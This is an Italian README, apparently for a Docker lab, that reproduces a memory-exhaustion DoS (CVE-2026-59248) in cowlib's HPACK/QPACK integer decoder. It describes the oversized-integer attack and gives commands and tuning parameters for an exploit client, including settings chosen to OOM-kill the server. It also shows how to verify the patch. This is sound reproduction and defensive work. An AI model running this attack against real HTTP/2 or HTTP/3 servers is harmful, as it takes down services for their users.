Lab Docker riproducibile per CVE-2026-59248: una DoS da esaurimento di memoria nel decoder di interi HPACK/QPACK in cowlib, con client di exploit, server Cowboy e metriche Grafana.
Una vulnerabilità di limitazione delle risorse in ninenines cowlib (≥ 2.0.0, < 2.19.0) consente a un peer remoto non autenticato HTTP/2 o HTTP/3 di esaurire la memoria sul server (o client) vulnerabile e causare un denial of service.
Il decoder di interi con prefisso HPACK e QPACK
cow_hpack_common:dec_big_int/3 (src/cow_hpack_common.hrl, invocato da
cow_hpack:decode/2 e cow_qpack:decode_field_section/3) legge gli ottetti di
continuazione finché non ne trova uno il cui bit più alto è a zero, valutando
Int + (Value bsl M) a ogni passo con lo shift M che cresce di 7 per
ottetto. Non esiste alcun limite sul numero di ottetti di continuazione,
sulla larghezza di bit risultante o sul valore — il decoder consuma qualunque
lunghezza codificata fornisca il peer. Poiché gli interi Erlang sono immutabili,
ogni Value bsl M intermedio e ogni aggiornamento dell'accumulatore allocano un
nuovo bignum la cui larghezza in cifre cresce linearmente con gli ottetti
processati fino a quel momento; sommato sull'intera decodifica, l'allocazione
transitoria è O(n²) nella lunghezza codificata.
Una singola rappresentazione indicizzata HPACK massimale trasportata in una
coppia di frame HTTP/2 HEADERS + CONTINUATION — entro il
max_frame_size_received predefinito di Cowboy — può forzare centinaia di
megabyte di allocazione transitoria e di attività di garbage collection prima
che l'indice risultante della tabella degli header venga rifiutato come non
valido. Connessioni ripetute o concorrenti moltiplicano la pressione e possono
portare la VM Erlang all'esaurimento della memoria.
Cowlib è il parser HTTP usato da Cowboy, dal plugin di gestione di RabbitMQ e da altri server e client HTTP/2 e HTTP/3 Erlang/Elixir, quindi qualsiasi endpoint esposto che accetta HPACK o QPACK da un peer non attendibile è raggiungibile.
Correzione: cowlib 2.19.0 aggiunge una guardia when M < 32 a
dec_big_int/3, rifiutando gli interi sovradimensionati dopo una manciata di
ottetti.
Questo laboratorio riproduce l'attacco (preface → SETTINGS → HEADERS →
CONTINUATION con un intero HPACK sovradimensionato 0xFF…) contro un vero
server Cowboy e cattura il picco di memoria del BEAM in Prometheus/Grafana —
prima e dopo l'applicazione della patch.
exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
│ /metrics (same listener)
▼
prometheus (:9090) ──scrape 2s──▶ grafana (:3000)
Cowboy fissa una versione esatta di cowlib: cowboy 2.17.0 include la
cowlib 2.18.0 vulnerabile (cowboy 2.18.0 include la cowlib 2.19.0 corretta). Questo lab
forza cowlib con override: true in modo che la dimostrazione vuln→fix sia una
modifica di una sola riga in server/mix.exs.
| Servizio | URL |
|---|---|
| Server Cowboy | http://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c) |
| Server /metrics | http://localhost:8080/metrics |
| Prometheus | http://localhost:9090/targets |
| Grafana | http://localhost:3000 (admin / admin) |
La dashboard Grafana "cowlib 2.18.0 HPACK memory DoS" è provisionata automaticamente (nessuna configurazione manuale di data-source o pannelli).
# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana
# 2. Sanity checks
curl http://localhost:8080/ # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total
# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
# (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client
# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
# Panel 1 "ERLANG VM: Process memory" = BEAM process heaps only (the decoder)
# Panel 2 "ERLANG VM: Total memory" = system + processes allocator memory
# Panel 3 "CONTAINER: cgroup memory" = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.
# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server
# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.
# 5. Verify the fix: in server/mix.exs change
# {:cowlib, "2.18.0", override: true}
# to
# {:cowlib, "2.19.0", override: true}
# then rebuild and restart just the server (the memory line stays flat):
# docker compose build cowboy-server && docker compose up -d cowboy-server
# docker compose run --rm exploit-client
# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v
Porte: lo stack pubblica sull'host
8080(Cowboy),9090(Prometheus),3000(Grafana). Assicurarsi che siano libere prima di iniziare e rieseguire il client di exploit condocker compose run --rmogni volta — il servizio Compose viene eseguito una volta e termina.
| Variabile | Predefinito | Effetto |
|---|---|---|
PAYLOAD_CONTINUATIONS | 524288 | numero di ottetti 0xFF nell'intero HPACK (bomba da 512 KB; il max_fragmented_header_block_size del server consente fino a 1 MB). |
NUM_CONCURRENT | 100 | connessioni asincrone concorrenti — ciascuna resta attiva in decodifica per ATTACK_KEEPALIVE_SECS. Aumentare a 200+ per mandare affidabilmente in OOM (superando 1g) il container del server. |
SOCKET_TIMEOUT | 15 | secondi per ogni handshake di connessione |
ATTACK_KEEPALIVE_SECS | 60 | per quanto tempo ogni connessione resta attiva dopo l'invio |
SERVER_HOST / SERVER_PORT | cowboy-server / 8080 | target |
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py
Scopri gli strumenti più utilizzati dalla nostra community.
Nessun dato di popolarità ancora.